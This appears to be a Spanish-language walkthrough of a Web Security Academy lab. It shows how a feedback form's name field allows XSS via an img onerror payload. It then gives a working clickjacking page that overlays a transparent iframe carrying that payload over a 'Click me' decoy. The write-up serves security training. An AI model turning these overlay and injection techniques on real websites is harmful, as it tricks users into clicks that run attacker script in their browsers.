Descripción

This lab contains an XSS vulnerability that is triggered by a click. Construct a clickjacking attack that fools the user into clicking the «Click me» button to call the print() function.

Exploiting clickjacking vulnerability to trigger DOM-based XSS writeup

En este laboratorio, tendremos una página donde podremos enviar un comentario (‘Submit feedback’). Al hacerlo, la página mostrará nuestro nombre como contenido HTML:

Si cambiamos nuestro nombre por ‘<img src=1 onerror=alert(«Hola»)> vemos que es vulnerable a un XSS:

Con lo cual, resolveremos este laboratorio de la misma manera que el anterior (Clickjacking with form input data prefilled from a URL parameter):

<style>
    iframe {
        position:relative;
        width:1500px;
        height:680px;
        opacity: 0.5;
        z-index: 9999;
    }
    div {
        position:absolute;
        top: 600px;
        left: 230px;
        z-index: 99;
    }
</style>
<div>Click me</div>
<iframe src="https://0ad400050344a0d781cc4e3c005100bc.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=test@cyberhub.es&subject=asaunto&message=mensaje#feedbackResult"></iframe>

Nota: Hay que cambiar la fuente del ‘iframe’ (etiqueta ‘src’ por el enlace de la página de ‘Submit feedback’ donde se encuentra la vulnerabilidad XSS).

Se ha añadido ‘#feedbackResult’ para que la página muestre el botón en pantalla directamente, sin tener que hacer scroll:

Al pulsar ‘Deliver exploit to victim’ completaremos el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *